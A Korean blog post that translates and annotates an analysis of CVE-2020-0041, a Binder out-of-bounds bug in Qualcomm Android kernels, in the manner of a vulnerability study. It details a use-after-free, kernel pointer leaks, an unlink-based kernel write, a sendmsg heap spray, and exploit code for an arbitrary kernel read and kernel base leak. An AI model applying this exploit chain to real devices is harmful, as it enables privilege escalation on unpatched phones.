CVE-2020-0041 분석 글 번역 및 정리 (+ Samsung Galaxy S10 RCE)
AOSP 3월에 패치된 CVE-2020-0041 취약점에 대한 분석글이다.
원문은 Bluefrost Security LPE 정리글에서 확인할 수 있다.
CVE-2020-0041은 Binder Transaction 과정에서 발생하는 Out of Bound취약점이다.
취약점이 발생하는 이유는 생각보다 간단한데, 인덱스 계산할 때 나눗셈 연산을 해야되는걸 곱셈 연산을 하면서 발생하게 된다.
이게 좀 웃긴게 트랜잭션을 정리하는 과정에서는 또 나눗셈으로 제대로 계산을 해준다.
밤새고 코딩했거나, 술 마시고 코딩했거나..ㅋㅋ
또한, 취약점이 발생하는 코드가 2019년 2월쯤 Qualcomm Kernel(msm)에만 추가되었기 때문에, Qualcomm기반의 Android 10.0 이상의 버전에서만 발생되는 취약점이며, Kernel 4.14/4.9 버전에서 발생된다.
Bluefrost팀은 해당 취약점으로 Chrome Escape와 LPE를 달성했는데 두 익스플로잇 과정을 아주 상세하게 정리해두어서
취약점을 분석하는 입장에서 도움이 정말 많이 됐다.
특히, PoC코드의 각 구문에 대한 설명을 주석으로 달아줘서 이해하는데 도움이 상당히 많이 됐다.
이 글은 Bluefrost팀의 정리글을 번역함과 동시에 내가 분석했던 부분을 추가해서 정리한 글이다.
Root Cause
kernel/drivers/android/binder.c - binder_transaction( )
static void binder_transaction(struct binder_proc *proc,
struct binder_thread *thread,
struct binder_transaction_data *tr, int reply,
binder_size_t extra_buffers_size)
{
/* 중략 */
case BINDER_TYPE_FDA: {
struct binder_object ptr_object;
binder_size_t parent_offset;
struct binder_fd_array_object *fda =
to_binder_fd_array_object(hdr);
/******************** 취약점 발생 ********************/
size_t num_valid = (buffer_offset - off_start_offset) *
sizeof(binder_size_t);
/***************************************************/
/* 패치된 코드
size_t num_valid = (buffer_offset - off_start_offset) /
sizeof(binder_size_t);
*/
struct binder_buffer_object *parent =
binder_validate_ptr(target_proc, t->buffer,
&ptr_object, fda->parent,
off_start_offset,
&parent_offset,
num_valid);
if (!parent) {
binder_user_error("%d:%d got transaction with invalid parent offset or type\n",
proc->pid, thread->pid);
return_error = BR_FAILED_REPLY;
return_error_param = -EINVAL;
return_error_line = __LINE__;
goto err_bad_parent;
}
if (!binder_validate_fixup(target_proc, t->buffer,
off_start_offset,
parent_offset,
fda->parent_offset,
last_fixup_obj_off,
last_fixup_min_off)) {
binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
proc->pid, thread->pid);
return_error = BR_FAILED_REPLY;
return_error_param = -EINVAL;
return_error_line = __LINE__;
goto err_bad_parent;
}
ret = binder_translate_fd_array(fda, parent, t, thread,
in_reply_to);
if (ret < 0) {
return_error = BR_FAILED_REPLY;
return_error_param = ret;
return_error_line = __LINE__;
goto err_translate_failed;
}
last_fixup_obj_off = parent_offset;
last_fixup_min_off =
fda->parent_offset + sizeof(u32) * fda->num_fds;
} break;
case BINDER_TYPE_PTR: {
struct binder_buffer_object *bp =
to_binder_buffer_object(hdr);
size_t buf_left = sg_buf_end_offset - sg_buf_offset;
size_t num_valid;
if (bp->length > buf_left) {
binder_user_error("%d:%d got transaction with too large buffer\n",
proc->pid, thread->pid);
return_error = BR_FAILED_REPLY;
return_error_param = -EINVAL;
return_error_line = __LINE__;
goto err_bad_offset;
}
if (binder_alloc_copy_user_to_buffer(
&target_proc->alloc,
t->buffer,
sg_buf_offset,
(const void __user *)
(uintptr_t)bp->buffer,
bp->length)) {
binder_user_error("%d:%d got transaction with invalid offsets ptr\n",
proc->pid, thread->pid);
return_error_param = -EFAULT;
return_error = BR_FAILED_REPLY;
return_error_line = __LINE__;
goto err_copy_data_failed;
}
/* Fixup buffer pointer to target proc address space */
bp->buffer = (uintptr_t)
t->buffer->user_data + sg_buf_offset;
sg_buf_offset += ALIGN(bp->length, sizeof(u64));
/******************** 취약점 발생 ********************/
num_valid = (buffer_offset - off_start_offset) *
sizeof(binder_size_t);
/***************************/
/* 패치된 코드
size_t num_valid = (buffer_offset - off_start_offset) /
sizeof(binder_size_t);
*/
ret = binder_fixup_parent(t, thread, bp,
off_start_offset,
num_valid,
last_fixup_obj_off,
last_fixup_min_off);
if (ret < 0) {
return_error = BR_FAILED_REPLY;
return_error_param = ret;
return_error_line = __LINE__;
goto err_translate_failed;
}
binder_alloc_copy_to_buffer(&target_proc->alloc,
t->buffer, object_offset,
bp, sizeof(*bp));
last_fixup_obj_off = object_offset;
last_fixup_min_off = 0;
} break;
/* 생략 */
}
CVE-2020-0041 취약점은 Binder 트랜잭션 중 노드의 최대 Index값이 되는 num_valid
값이 잘 못 계산되어서 발생하게 된다.
size_t num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t);
취약점이 발생하는 구문은 위와 같다.
buffer_offset
이 0x10이고, off_start_offset
이 0x0인 상황에서 위 구문으로 num_valid
값을 계산하게 되면 다음과 같은 결과가 도출된다.
/* buffer_offset - off_start_offset * binder_size_t = num_valid */
(0x10 - 0x0) * 0x8 = 0x80;
num_valid
가 0x80이라는 비정상적인 값으로 계산된다.
즉, 해당 바인더 트랜잭션에서 접근 가능한 노드의 최대 Index가 0x80이 되는 것이다.
이 때문에 위와 같이 OOB(Out Of Bound)
취약점이 발생하게 된다.
PATCHED
size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t);
패치된 코드를 살펴보면 *연산이 / 연산으로 수정되었는데, 해당 구문으로 다시 계산해보면 다음과 같은 결과가 나온다.
/* buffer_offset - off_start_offset * binder_size_t = num_valid */
(0x10 - 0x0) / 0x8 = 0x2;
num_valid
가 0x2로 정상적인 값으로 계산된다.
이 취약점만 가지고 LPE를 진행하는건 불가능하다.
bluefrostsecurity
에서는 UAF와 unlink 기법을 추가해서 root권한을 획득하였다.
Kernel Memory Leak ( Use After Free )
먼저 CVE-2020-0041의 근본적인 취약점 OOB(OutOfBound)
로 UAF(Use After Free)
상황을 만들 수 있다.
binder_transaction_buffer_release() (drivers/android/binder.c)
static void binder_transaction_buffer_release(struct binder_proc *proc,
struct binder_buffer *buffer,
binder_size_t failed_at,
bool is_failure)
{
int debug_id = buffer->debug_id;
binder_size_t off_start_offset, buffer_offset, off_end_offset;
binder_debug(BINDER_DEBUG_TRANSACTION,
"%d buffer release %d, size %zd-%zd, failed at %llx\n",
proc->pid, buffer->debug_id,
buffer->data_size, buffer->offsets_size,
(unsigned long long)failed_at);
if (buffer->target_node)
binder_dec_node(buffer->target_node, 1, 0);
off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
off_end_offset = is_failure ? failed_at :
off_start_offset + buffer->offsets_size;
[1] for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
buffer_offset += sizeof(binder_size_t)) {
struct binder_object_header *hdr;
size_t object_size;
struct binder_object object;
binder_size_t object_offset;
binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
buffer, buffer_offset,
sizeof(object_offset));
object_size = binder_get_object(proc, buffer,
object_offset, &object);
if (object_size == 0) {
pr_err("transaction release %d bad object at offset %lld, size %zd\n",
debug_id, (u64)object_offset, buffer->data_size);
continue;
}
hdr = &object.hdr;
[2] switch (hdr->type) {
case BINDER_TYPE_BINDER:
case BINDER_TYPE_WEAK_BINDER: {
struct flat_binder_object *fp;
struct binder_node *node;
fp = to_flat_binder_object(hdr);
[3] node = binder_get_node(proc, fp->binder);
if (node == NULL) {
pr_err("transaction release %d bad node %016llx\n",
debug_id, (u64)fp->binder);
break;
}
binder_debug(BINDER_DEBUG_TRANSACTION,
" node %d u%016llx\n",
node->debug_id, (u64)node->ptr);
[4] binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
0);
binder_put_node(node);
} break;
binder_transaction_buffer_release()
는 바인더 트랜잭션에 사용된 노드를 해제하는 역할을 한다.
[1] 구문의 반복문을 돌면서 트랜잭션의 모든 binder_node
들이 처리되고, [2]의 switch문으로 BINDER_TYPE
에 따른 case에 맞게 노드들이 처리된다.
노드 해제는 [4]의 binder_dec_node()
에서 처리되는데, 인자로 전달되는 node
는 [3]에서 binder_get_node()
를 통해 가져와진다.
fp->binder
는 OOB
로 수정가능한 값이기 때문에 임의의 binder_node
로 바꿀 수 있게 된다.
따라서, binder_dec_node()
에 사용중인 임의의 binder_node
를 넘겨줌으로써 UAF
가 발생하게 된다.
이렇게 트리거한 UAF
취약점으로 Kernel Memory leak
이 가능해지는데, 트랜잭션 과정에서 binder_node
의 데이터가 유저 영역으로 저장되는 과정을 살펴볼 필요가 있다.
binder_thread_read() (drivers/android/binder.c)
struct binder_transaction_data *trd = &tr.transaction_data;
...
if (t->buffer->target_node) {
struct binder_node *target_node = t->buffer->target_node;
struct binder_priority node_prio;
[1] trd->target.ptr = target_node->ptr;
trd->cookie = target_node->cookie;
node_prio.sched_policy = target_node->sched_policy;
node_prio.prio = target_node->min_priority;
binder_transaction_priority(current, t, node_prio,
target_node->inherit_rt);
cmd = BR_TRANSACTION;
} else {
trd->target.ptr = 0;
trd->cookie = 0;
cmd = BR_REPLY;
}
...
[2] if (copy_to_user(ptr, &tr, trsize)) {
if (t_from)
binder_thread_dec_tmpref(t_from);
binder_cleanup_transaction(t, "copy_to_user failed",
BR_FAILED_REPLY);
return -EFAULT;
}
ptr += trsize;
binder_node
가 트랜잭션의 target_node
로 사용되면 위 코드에서 [1] 분기문으로 처리된다.
유심히 봐야할 부분은 binder_node
의 ptr
과 cookie
필드를 binder_transaction_data
오브젝트에 저장하고,[2] 분기문에서 유저영역으로 복사되는 점이다.
[2] 분기문은 수신 프로세스가 트랜잭션을 읽어 들일 때 수행되게 되는데, binder_node
를 트랜잭션 대기열에 등록하고 위의 OOB
취약점으로 해당 노드를 해제하게 되면 노드는 dangling pointer를 가지게 될 것이다.
이 상태에서 binder_node
와 크기가 같고, 마음대로 할당/해제가 가능한 오브젝트가 있다면 해당 오브젝트로 재할당을 유도할 수 있을 것이다.
위 조건을 충족하는 오브젝트로 eventpoll
에서 사용되는 epitem
오브젝트가 있다.
먼저 binder_node
의 필드 구조부터 살펴보자. 노드의 크기는 128Byte를 가진다.
binder_node ( drivers/android/binder.c )
struct binder_node { // binder_node Total Size: 128 Byte (Decimal)
int debug_id; // 0 - 4 (4 Byte)
spinlock_t lock; // 4 - 8 (4 Byte)
struct binder_work work; // 8 - 32 (24 Byte)
union { // 32 - 56 (24 Byte)
// union은 가장 큰 멤버의 크기로 할당됨 (24 > 16)
struct rb_node rb_node; // rb_node Total Size: 24Byte
// ㄴ unsigned long __rb_parent_color; // 8 byte
// ㄴ struct rb_node *rb_right; // 8 byte
// ㄴ struct rb_node *rb_left; // 8 byte
struct hlist_node dead_node; // hlist_node Total size: 16Byte
// ㄴ struct hlist_node *next; // 8 byte
// ㄴ struct hlist_node **pprev; // 8 byte
};
struct binder_proc *proc; // 56 - 64 (8 Byte)
struct hlist_head refs; // 64 - 72 (8 Byte)
// ㄴ struct hlist_node *first; // 8 byte
int internal_strong_refs; // 72 - 76 (4 Byte)
int local_weak_refs; // 76 - 80 (4 Byte)
int local_strong_refs; // 80 - 84 (4 Byte)
int tmp_refs; // 84 - 88 (4 Byte)
binder_uintptr_t ptr; // 88 - 96 (8 Byte) /* Point(1) */
binder_uintptr_t cookie; // 96 - 104 (8 Byte) /* Point(2) */
struct { // 104 - 105 (1 Byte)
/*
* bitfield elements protected by
* proc inner_lock
*/
u8 has_strong_ref:1;
u8 pending_strong_ref:1;
u8 has_weak_ref:1;
u8 pending_weak_ref:1;
};
struct { // 105 - 107 (2 Byte)
/*
* invariant after initialization
*/
u8 accept_fds:1;
u8 txn_security_ctx:1;
u8 min_priority;
};
bool has_async_transaction; // 107 - 108 (1 Byte)
// 108 - 112 (4 Byte) for align
struct list_head async_todo; // 112 - 128 (16 Byte)
};
copy_to_user()
에서 복사되는 값은 ptr
, cookie
두 필드의 값이며, 각 0x58(88), 0x60(96) 오프셋에 위치한다.
binder_uintptr_t ptr; // 88 - 96 (8 Byte) /* Point(1) */
binder_uintptr_t cookie; // 96 - 104 (8 Byte) /* Point(2) */
다음은 epitem의 구조를 살펴보자
epitem ( fs/eventpoll.c )
struct epitem {
union { // 0 - 24 (24 Byte) Union 공용체 (24Byte > 16Byte)
struct rb_node rbn; // 24 Byte
// ㄴ unsigned long __rb_parant_color // 8 Byte
// ㄴ struct rb_node *rb_right; // 8 Byte
// ㄴ struct rb_node *rb_left; // 8 Byte
struct rcu_head rcu; // 16 Byte
// ㄴ struct callback_head *next; // 8 Byte
// ㄴ void (*func)(struct callback_head *);// 8 Byte
};
struct list_head rdllink; // 24 - 40 (16 Byte)
// ㄴ struct list_head *next; // 8 Byte
// ㄴ struct list_head *prev; // 8 Byte
struct epitem *next; // 40 - 48 (8 Byte)
struct epoll_filefd ffd; // 48 - 60 (12 Byte)
// ㄴ struct file *file; // 8 Byte
// ㄴ int fd; // 4 Byte
int nwait; // 60 - 64 (4 Byte)
struct list_head pwqlist; // 64 - 80 (16 Byte)
// ㄴ struct list_head *next; // 8 Byte
// ㄴ struct list_head *prev; // 8 Byte
struct eventpoll *ep; // 80 - 88 (8 Byte)
struct list_head fllink; // 88 - 104 (16 Byte)
// ㄴ struct list_head *next; // 8 Byte /* Point(1) == binder_node->ptr */
// ㄴ struct list_head *prev; // 8 Byte /* Point(2) == binder_node->cookie */
struct wakeup_source __rcu *ws; // 104 - 112 (8 Byte)
struct epoll_event event; // 112 - 128 (16 Byte)
// ㄴ __u32 events;
// ㄴ __u64 data;
};
epitem
도 128Byte의 크기를 가지며, 0x58에는 fllink->next
, 0x60에는 fllink->prev
가 위치한다.
fllink
는 eventpoll
의 epitem
오브젝트를 리스트로 연결해서 관리하는데 사용되기 때문에 fllink->next
와 fllink->prev
두 개의 커널 메모리를 얻을 수 있게 된다.
그림으로 표현하면 다음과 같이 표현할 수 있다.
하나의 epitem
이 할당되면 위와 같은 모습의 리스트 구조를 갖게 된다.
그림에서 binder_node->ptr
과 binder_node->cookie
와 같은 오프셋을 가지는 부분은 fllink.next
와 fllink.prev
부분이다.
리스트에 epitem
이 하나만 존재하기 때문에 next
와prev
가 같은 포인터 값을 갖게 되므로 하나의 커널 주소를 얻을 수 있게 된다.
두 개의 epitem
이 리스트에 존재한다고 가정해보자
fllink.next
은 다음 epitem
의 주소를 갖게 되고, fllink.prev
는 struct file
의 주소를 갖게되므로 두 개의 커널 주소를 얻을 수 있다.
다만, 이 방법으로 leak을 진행하려면 UAF
를 통해 epitem
이 binder_node
위치에 재할당될 때까지 copy_to_user()
가 실행되지 않도록 트랜잭션을 대기 상태로 두어야 한다.
이 부분은 Thread를 사용해서 해결할 수 있다.
각 트랜잭션 마다 Thread를 생성하고, pthread_barrier_wait()
를 통해 Thread를 블록상태로 두면 트랜잭션 또한 더 이상 진행되지 않고 대기 상태로 유지된다.
leak이 필요한 시점에 블록상태를 해제하면 copy_to_user()
가 실행되고 우리가 원하는 데이터를 얻을 수 있게 된다.
여기서 알아낸 커널 포인터는 Kernel Write를 구현하는데 사용된다.
Kernel Write ( unlink )
Kernel Write를 위해서 앞에서 봤던 binder_transaction_buffer_release()
로 다시 되돌아 가야 한다.
static void binder_transaction_buffer_release(struct binder_proc *proc,
struct binder_buffer *buffer,
binder_size_t failed_at,
bool is_failure)
{
int debug_id = buffer->debug_id;
binder_size_t off_start_offset, buffer_offset, off_end_offset;
binder_debug(BINDER_DEBUG_TRANSACTION,
"%d buffer release %d, size %zd-%zd, failed at %llx\n",
proc->pid, buffer->debug_id,
buffer->data_size, buffer->offsets_size,
(unsigned long long)failed_at);
[1] if (buffer->target_node)
binder_dec_node(buffer->target_node, 1, 0);
/* 생략 */
[1] 조건문에서 노드가 트랜잭션의 target_node
인지 확인하고, target_node
일 경우 binder_dec_node()
로 분기된다.
static void binder_dec_node(struct binder_node *node, int strong, int internal)
{
bool free_node;
binder_node_inner_lock(node);
free_node = binder_dec_node_nilocked(node, strong, internal);
binder_node_inner_unlock(node);
if (free_node)
binder_free_node(node);
}
binder_dec_node()
는 노드를 블럭시키고 binder_dec_node_nilocked()
로 해제 과정을 진행한다.
static bool binder_dec_node_nilocked(struct binder_node *node,
int strong, int internal)
{
struct binder_proc *proc = node->proc;
assert_spin_locked(&node->lock);
if (proc)
assert_spin_locked(&proc->inner_lock);
if (strong) {
if (internal)
node->internal_strong_refs--;
else
node->local_strong_refs--;
if (node->local_strong_refs || node->internal_strong_refs)
return false;
} else {
if (!internal)
node->local_weak_refs--;
if (node->local_weak_refs || node->tmp_refs ||
!hlist_empty(&node->refs))
return false;
}
if (proc && (node->has_strong_ref || node->has_weak_ref)) {
[1] if (list_empty(&node->work.entry)) {
binder_enqueue_work_ilocked(&node->work, &proc->todo);
binder_wakeup_proc_ilocked(proc);
}
[2] } else {
if (hlist_empty(&node->refs) && !node->local_strong_refs &&
!node->local_weak_refs && !node->tmp_refs) {
if (proc) {
binder_dequeue_work_ilocked(&node->work);
rb_erase(&node->rb_node, &proc->nodes);
binder_debug(BINDER_DEBUG_INTERNAL_REFS,
"refless node %d deleted\n",
node->debug_id);
} else {
[3] BUG_ON(!list_empty(&node->work.entry));
spin_lock(&binder_dead_nodes_lock);
/*
* tmp_refs could have changed so
* check it again
*/
if (node->tmp_refs) {
spin_unlock(&binder_dead_nodes_lock);
return false;
}
[4] hlist_del(&node->dead_node);
spin_unlock(&binder_dead_nodes_lock);
binder_debug(BINDER_DEBUG_INTERNAL_REFS,
"dead node %d deleted\n",
node->debug_id);
}
return true;
}
}
return false;
}
binder_dec_node_nilocked()
에서 몇 가지 분기문을 지나면 hlist_del()
로 실질적인 해제가 진행된다.
[1]분기문에서는 list_empty()
를 통해 노드가 비었는지 확인하기 때문에, [2]로 분기 시키기 위해서 노드의 데이터를 설정해주고, 다음으로 노드의 proc
이 NULL
인지 확인하는데 NULL
이 아니기 때문에 [3]으로 분기된다.
[3]에서 list_empty()
가 실행되면서 BUG_ON()
검사가 진행되는데, 이 검사를 생략하려면 node->next
와 node->prev
가 list_head
를 가리키게 해야한다.
이 부분은 위에서 Kernel Memory leak
을 통해 얻은 주소로 해결할 수 있다.
[3]까지 우회하게 되면 [4]구문에서 우리가 쓰기 가능한 node
로 hlist_del()
에 진입하게 된다.
static inline void __hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
WRITE_ONCE(*pprev, next);
if (next)
next->pprev = pprev;
}
static inline void hlist_del(struct hlist_node *n)
{
__hlist_del(n);
n->next = LIST_POISON1;
n->pprev = LIST_POISON2;
}
hlist_del()
를 보면 전형적인 unlink 수행 함수이다.
따라서, 두 개의 쓰기 가능한 커널 주소를 node->next
와 node->prev
로 설정해서 Kernel Write
를 진행할 수 있다.
또한, node->next
를 NULL
로 설정하면 하나의 커널 주소에 8Byte NULL
를 쓸 수 있다.
여기서 node->next
와 node->prev
를 완전히 컨트롤 하기 위해서는 HeapSpray
과정이 필요하다.
커널영역의 HeapSpray
는 sendmsg()
시스템콜을 통해 진행할 수 있다.
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__attribute__ ((aligned(sizeof(__kernel_size_t))));
/* 20 is size of ipv6_pktinfo */
unsigned char *ctl_buf = ctl;
int ctl_len;
ssize_t err;
...
if (ctl_len > sizeof(ctl)) {
[1] ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/*
* Careful! Before this, msg_sys->msg_control contains a user pointer.
* Afterwards, it will be a kernel pointer. Thus the compiler-assisted
* checking falls down on this.
*/
[2] if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
...
out_freectl:
if (ctl_buf != ctl)
[3] sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
kfree(iov);
return err;
}
위 함수가 sendmsg()
의 구현체인데, [1]을 보면 요청한 메시지의 길이가 ctl_buf
보다 크면 sock_kmalloc()
을 통해 커널에 힙 할당이 이루어지는 것을 볼 수 있다.
[2]에서 copy_from_user()
로 요청 메시지가 ctl_buf
로 복사되고, [3]에서 할당이 해제된다.
hlist_del()
에서 unlink가 진행되기 전에 ctl_buf
의 할당이 해제되면 안되기 때문에, copy_from_user()
가 실행된 뒤의 코드 실행을 차단해야 한다.
사용자가 전송한 데이터가 버퍼를 가득 채우게 되면 시스템 호출이 차단되는데, 이 방법을 통해서 sock_kfree_s()
의 실행을 차단할 수 있다.
이 HeapSpray
를 통해 우리는 binder_node
를 완전히 제어 가능한 형태로 재할당해 줄 수 있다.
Kernel Read
Kernel Read는 CVE-2019-2205
과 동일한 방법을 사용하였다.
UAF
를 통해 file->f_inode
를 제어 가능한 형태로 만들어 준 뒤, ioctl()
를 통해 Kernel Read
를 수행한다.
다만, CVE-2019-2205
에서는 binder_mapping
을 활용하였지만 현재 버전에서는 binder_mapping
이 제거되면서 더 이상 해당 방법을 통해서는 불가능해졌다.
여기에서는 file->f_inode
가 epitem
을 가리키도록 해서 binder_mapping
을 대체하였다.
epitem
에는 우리가 완전히 제어 가능한 epitem.data
필드가 존재한다.
epitem.data
는 8Byte의 크기를 가지며, ep_ctl(efd, EPOLL_CTL_MOD, fd &event)
를 통해 수정할 수 있다.
do_vfs_ioctl ( fs/ioctl.c )
int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
unsigned long arg)
{
int error = 0;
int __user *argp = (int __user *)arg;
struct inode *inode = file_inode(filp);
switch (cmd) {
...
case FIGETBSZ:
return put_user(inode->i_sb->s_blocksize, argp); /* Point */
...
따라서, event.data
값을 inode->i_sb->s_blocksize
로 정렬하면 원하는 커널주소의 값을 읽을 수 있게 된다.
이 과정을 그림으로 다음과 같이 표현할 수 있다.
먼저 Kernel Write
로 epitem->next
가 file->f_inode
를 가리키도록 한다.
그런 다음 f_inode
가 epitem
을 가리키도록 하는데, inode->i_sb
가 epitem.data
와 정렬되도록 오프셋을 잘 계산해서 주소를 덮어써준다.
여기까지 진행하면 inode->i_sb
는 epitem.data
를 가리키게 된다.
이제 epitem.data
에 Kernel_Addr - s_blocksize(24)
값을 써주면, 우리가 원하는 커널 주소의 값을 읽어올 수 있게된다.
uint64_t read32(uint64_t addr) {
struct epoll_event evt;
evt.events = 0;
evt.data.u64 = addr - 24;
int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
uint32_t test = 0xdeadbeef;
ioctl(pipes[0], FIGETBSZ, &test);
return test;
}
uint64_t read64(uint64_t addr) {
uint32_t lo = read32(addr);
uint32_t hi = read32(addr+4);
return (((uint64_t)hi) << 32) | lo;
}
위에서 설명한 방법으로 Kernel Read
를 구현한 모습이다.
evt.data.u64
에 Kernel_Addr - 24(s_blocksize)
값을 저장하고 ioctl()
로 값을 읽어온다.
ioctl()
은 4Byte만 읽어올 수 있기 때문에, 8Byte를 읽기 위해서는 값을 두 번 읽어줘야 한다.
전체적인 과정의 코드는 다음과 같다.
/* Step 1: leak a pipe file address */
file = node_new("leak_file");
/* Only works on file implementing the 'epoll' function. */
while (!node_realloc_epitem(file, pipes[0]))
node_reset(file);
uint64_t file_addr = file->file_addr;
log_info("[+] pipe file: 0x%lx\n", file_addr);
/* Step 2: leak epitem address */
struct exp_node *epitem_node = node_new("epitem");
while (!node_kaddr_disclose(file, epitem_node))
node_reset(epitem_node);
printf("[*] file epitem at %lx\n", file->kaddr);
/*
* Alright, now we want to do a write8 to set file->f_inode.
* Given the unlink primitive, we'll set file->f_inode = epitem + 80
* and epitem + 88 = &file->f_inode.
*
* With this we can change f_inode->i_sb by modifying the epitem data,
* and get an arbitrary read through ioctl.
*
* This is corrupting the fllink, so we better don't touch anything there!
*/
struct exp_node *write8_inode = node_new("write8_inode");
node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);
printf("[*] Write done, should have arbitrary read now.\n");
uint64_t fop = read64(file_addr + 0x28);
printf("[+] file operations: %lx\n", fop);
kernel_base = fop - OFFSET_PIPE_FOP;
printf("[+] kernel base: %lx\n", kernel_base);
이로써, Kernel Write
, Kernel Read
가 가능해졌다.
이제부터는 Read/Write
를 적절히 활용해서 익스플로잇을 진행하면 된다.
Samsung S10 RCE (SELinux + Know Bypass)
CVE-2020-0041 1day를 이용한 Samsung Galaxy S10 RCE 영상입니다.
SELinux와 Knox를 우회하는 과정에서 제약사항들이 좀 있어서 익스플로잇 시간이 좀 기네요.